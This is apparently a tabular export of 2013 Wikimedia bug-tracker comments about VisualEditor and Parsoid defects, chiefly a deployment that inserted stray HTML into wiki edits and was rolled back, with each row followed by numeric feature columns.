(and corrupted every response to not be what we want).

Sorry everyone for the disruption; we've now found (and killed) this problem, and re-enabled VisualEditor as before."
237514,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"It looks like an update to the libraries Parsoid depends on might have caused this issue. It would have been visible in the diff, but since the user is not seeing that by default any more few noticed.

Parsoid is rolled back, so this issue should be fixed.",,,1371223781,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,True,,,-3,,4.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,13.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,4.0,4.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.888888888888889,0.7962962962962963,"It looks like an update to the libraries Parsoid depends on might have caused this issue. It would have been visible in the diff, but since the user is not seeing that by default any more few noticed.

Parsoid is rolled back, so this issue should be fixed."
237512,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"**ignatus31oct** wrote:

(One more example from En-wiki) See this edit (if your traffic is easy, the diff is half-Mb):

http://en.wikipedia.org/w/index.php?title=Russian_grammar&diff=559881732&oldid=558109653

I only wanted to change one section, but after pressing a link everything was opened in VE. Well, I added text to different sections. There were no trouble with it, except that when I tried to type text into ''()'' italicised parentheses leaved by previous editor, when I pushed [BackSpace] at end (wrongly started to type in Cyrillic rather than Latin), first ( was doubled.

When I entered enough and pushed ""Save"", I was introduced to type in the desc, and to view changes or to save page. I've just read the digest of how good is the VE now and pushed ""Save page"", but after a time I've seen.........",,,1371221239,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.5,0.0,1.5,0.0,3.0,1.5,0.0,0.0,0.5,1.5,2.0,0.5,0.5,0.5,4.5,0.0,6.0,12.0,0.5,3.5,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.5,1.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,11.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,3.5,12.5,3.5,3.5,4.5,0.0,0.0,0.0,0.0,4.0,0.5,1.0,0.0,5.5,12.0,5.0,0.0,2.5,0.0,5.5,0.0,2.0,1.0,0.0,0.5,0.5,0.0,1.0,3.471264367816092,0.7241379310344827,"**ignatus31oct** wrote:

(One more example from En-wiki) See this edit (if your traffic is easy, the diff is half-Mb):

URL

I only wanted to change one section, but after pressing a link everything was opened in VE. Well, I added text to different sections. There were no trouble with it, except that when I tried to type text into ''()'' italicised parentheses leaved by previous editor, when I pushed [BackSpace] at end (wrongly started to type in Cyrillic rather than Latin), first ( was doubled.

When I entered enough and pushed ""Save"", I was introduced to type in the desc, and to view changes or to save page. I've just read the digest of how good is the VE now and pushed ""Save page"", but after a time I've seen........."
237510,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Also note; as you can see from the gerrit change above, it looks like Ariel and James will be temporarily disabling the VE until this is solved for. I'm going to go round and notify people now :)",,,1371221206,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,7.0,5.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,12.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.761904761904762,0.9523809523809523,"Also note; as you can see from the gerrit change above, it looks like Ariel and James will be temporarily disabling the VE until this is solved for. I'm going to go round and notify people now :)"
237507,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,Related URL: https://gerrit.wikimedia.org/r/68667 (Gerrit Change I267c8ba13a6ec1444010ce996fba05dfcba460fa),,,1371221157,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I267c8ba13a6ec1444010ce996fba05dfcba460fa)
237504,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,Related URL: https://gerrit.wikimedia.org/r/68667 (Gerrit Change I267c8ba13a6ec1444010ce996fba05dfcba460fa),,,1371221153,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I267c8ba13a6ec1444010ce996fba05dfcba460fa)
237499,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"A note; I've just spoken to James F; a fix to this is highest-priority. I'm deeply sorry about this (and think I speak for James and the VE team on that front, too).",,,1371220263,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,18.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,3.022727272727273,0.8181818181818182,"A note; I've just spoken to James F; a fix to this is highest-priority. I'm deeply sorry about this (and think I speak for James and the VE team on that front, too)."
237494,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"(In reply to comment #3)
> Issue started ~ 11:37 UTC today per
> https://en.wikipedia.org/w/index.
> php?namespace=&tagfilter=visualeditor&title=Special%3ARecentChanges

If that's really accurate *maybe* this has some relevance (posting here in case someone who knows more can do something with it):

Jun 14 11:34:59 cerium puppet-agent[22506]: (/Stage[main]/Role::Cache::Parsoid/Varnish::Instance[parsoid-frontend]/Exec[load-new-vcl-file-frontend]) Triggered 'refresh' from 2 events
...
Jun 14 11:34:59 cerium puppet-agent[22506]: (/Stage[main]/Role::Cache::Parsoid/Varnish::Instance[parsoid-backend]/Exec[load-new-vcl-file]) Triggered 'refresh' from 2 events",,,1371219908,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.5,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,1.0,3.5,0.0,0.0,0.0,0.0,0.0,2.5,4.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,2.5,0.0,6.0,0.0,0.5,4.5,2.0,0.0,3.5,0.0,0.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,4.527777777777778,0.6851851851851851,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

If that's really accurate *maybe* this has some relevance (posting here in case someone who knows more can do something with it):

Jun 14 11:34:59 cerium puppet-agent[22506]: (/Stage[main]/Role::Cache::Parsoid/Varnish::Instance[parsoid-frontend]/Exec[load-new-vcl-file-frontend]) Triggered 'refresh' from 2 events
...
Jun 14 11:34:59 cerium puppet-agent[22506]: (/Stage[main]/Role::Cache::Parsoid/Varnish::Instance[parsoid-backend]/Exec[load-new-vcl-file]) Triggered 'refresh' from 2 events"
237489,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"Yes, first time I tried the new VisualEditor. My user page is live and I still left the HTML as an example. Tried a few more times to blank page with VE, it is real ugly. HTML leaks on HTML leaks on HTML leaks with each new save, http://www.mediawiki.org/w/index.php?title=User%3AHutchy68&diff=711244&oldid=711236",,,1371219726,,PHID-USER-3qvsqam4jxugqg2l7qpw,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,4.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,22.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,11.0,11.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,3.3636363636363638,0.7090909090909091,"Yes, first time I tried the new VisualEditor. My user page is live and I still left the HTML as an example. Tried a few more times to blank page with VE, it is real ugly. HTML leaks on HTML leaks on HTML leaks with each new save, URL"
237483,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,This is occurring fairly widely and I have a lot of reports. Moving it up to highest priority (because frankly something being broken that is already deployed > anything we might /want/ deployed).,,,1371217642,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.0,5.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,11.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,8.0,3.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,5.0,0.0,3.0,0.0,4.4324324324324325,0.918918918918919,This is occurring fairly widely and I have a lot of reports. Moving it up to highest priority (because frankly something being broken that is already deployed > anything we might /want/ deployed).
237474,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,Issue started ~ 11:37 UTC today per https://en.wikipedia.org/w/index.php?namespace=&tagfilter=visualeditor&title=Special%3ARecentChanges,,,1371215939,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Issue started ~ 11:37 UTC today per URL
237461,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,"More of this:

https://de.wikipedia.org/w/index.php?title=Oper_K%C3%B6ln&curid=2386780&diff=119548868&oldid=118354900

https://test.wikipedia.org/w/index.php?title=User:Raymond/image&diff=174443&oldid=174442",,,1371214660,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,2.625,0.75,"More of this:

URL

URL"
237449,New deployment of Parsoid leads to HTML insertion - needs deployed code reversion,*** Bug 49573 has been marked as a duplicate of this bug. ***,,,1371214602,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-m3novk5xasw5lqvg62ye,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49573 has been marked as a duplicate of this bug. ***
51403,VisualEditor: En hard-coded as TemplateData fetch language,"Should be user interface language.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1370893260,1371134692.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-g43ik5bj4ejp7p75b5p4,task_description,resolved,True,c1,2,True,False,True,-3,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.208333333333333,0.625,"Should be user interface language.

--------------------------
**Version**: unspecified
**Severity**: major"
251531,VisualEditor: En hard-coded as TemplateData fetch language,"This is resolved in the latest version

I3bcf924a3e179cb65f19e833277a39dfd3dad8bd",,,1370985573,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-g43ik5bj4ejp7p75b5p4,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,8.333333333333334,1.0,"This is resolved in the latest version

I3bcf924a3e179cb65f19e833277a39dfd3dad8bd"
51258,"VisualEditor: Move back to ""normal"" Save dialog with optional rather than mandatory Review","This is to restore the pre-December save workflow (Save dialog triggered, with Show Changes within it).

The ""Review and Save"" button in the toolbar will be replaced with ""Save..."" which takes you straight to the Save dialog (with the existing save box, minor edit, watch and disclaimer/legal)

Inside the Save dialog there should also be a ""Review changes"" button that triggers the wikitext diff as a dismissible dialog; whilst we're here, remove the Parsoid ""Something looks wrong"" button entirely, and replace the ""Looks good to me"" button with a normal close one.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1370535240,1370654365.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-v44oexl4vlksqgaeptjm,task_description,resolved,True,c1,2,True,False,True,-4,,0.0,0.5,0.5,0.5,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,3.5,7.0,0.5,0.5,0.5,0.5,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,4.5,0.5,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,11.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,7.5,1.5,10.5,0.5,1.5,8.5,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,2.5,7.0,6.0,0.0,6.5,0.0,2.5,0.0,1.0,2.0,0.5,0.5,0.0,0.0,0.0,3.928571428571429,0.6785714285714286,"This is to restore the pre-December save workflow (Save dialog triggered, with Show Changes within it).

The ""Review and Save"" button in the toolbar will be replaced with ""Save..."" which takes you straight to the Save dialog (with the existing save box, minor edit, watch and disclaimer/legal)

Inside the Save dialog there should also be a ""Review changes"" button that triggers the wikitext diff as a dismissible dialog; whilst we're here, remove the Parsoid ""Something looks wrong"" button entirely, and replace the ""Looks good to me"" button with a normal close one.

--------------------------
**Version**: unspecified
**Severity**: normal"
242592,"VisualEditor: Move back to ""normal"" Save dialog with optional rather than mandatory Review",Fixed and will go out with wmf7 from next Thursday.,,,1370654365,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-v44oexl4vlksqgaeptjm,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,27.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,Fixed and will go out with wmf7 from next Thursday.
50769,VisualEditor: Link corruption oddity in production on links (Parsoid issue?),"

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://pl.wikipedia.org/w/index.php?title=Ukryta_sie%C4%87&diff=36500666&oldid=36500549
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50720",Unbreak Now!,100.0,1369387560,1372017998.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-r7nekr4d3omjjmecwwq6,task_description,resolved,True,c1,1,True,False,True,-6,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8055555555555554,0.3333333333333333,"

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL
**See Also**:
URL"
218104,VisualEditor: Link corruption oddity in production on links (Parsoid issue?),I believe this is now fixed.,,,1372017998,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r7nekr4d3omjjmecwwq6,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,1.0,I believe this is now fixed.
218095,VisualEditor: Link corruption oddity in production on links (Parsoid issue?),Can't reproduce in master.,,,1369389553,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-r7nekr4d3omjjmecwwq6,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,1.0,Can't reproduce in master.
50526,VisualEditor: Pressing Enter in a heading at the beginning breaks in Firefox,"1. Create a page that has a heading at the very beginning
2. Open it in VE
3. Put the cursor at the beginning of the heading and press Enter
4. An empty heading appears above
5. Use arrow keys or mouse to move the cursor into this empty heading
6. See an error in the console
7. Type into the heading
8. See one error per key press in the console

In Chrome, this behaves correctly: it creates a paragraph above the heading, and typing into it works correctly.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1368667200,1371602123.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-5refjnnnoyqumq4ge53g,task_description,resolved,True,c1,1,False,False,True,-7,,0.0,0.0,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,9.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,3.5,1.5,2.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,13.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,8.5,0.0,8.5,0.0,2.0,9.5,0.0,0.0,0.0,0.0,4.5,0.0,5.0,0.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,0.0,0.5,3.0,0.0,1.0,0.0,0.0,0.5,3.5234375,0.6328125,"1. Create a page that has a heading at the very beginning
2. Open it in VE
3. Put the cursor at the beginning of the heading and press Enter
4. An empty heading appears above
5. Use arrow keys or mouse to move the cursor into this empty heading
6. See an error in the console
7. Type into the heading
8. See one error per key press in the console

In Chrome, this behaves correctly: it creates a paragraph above the heading, and typing into it works correctly.

--------------------------
**Version**: unspecified
**Severity**: normal"
228977,VisualEditor: Pressing Enter in a heading at the beginning breaks in Firefox,This is not an issue anymore.,,,1371602123,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-5refjnnnoyqumq4ge53g,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,This is not an issue anymore.
50509,VisualEditor: [Regression] Link inspector button doesn't work,"1. Create a link using the link inspector button
2. Note that autocomplete feature doesn't appear
3. Hit save and note that link is stored as an external link ""[Foo Foo]""

Using the keyboard shortcut, however, works fine (Ctrl+K)

--------------------------
**Version**: unspecified
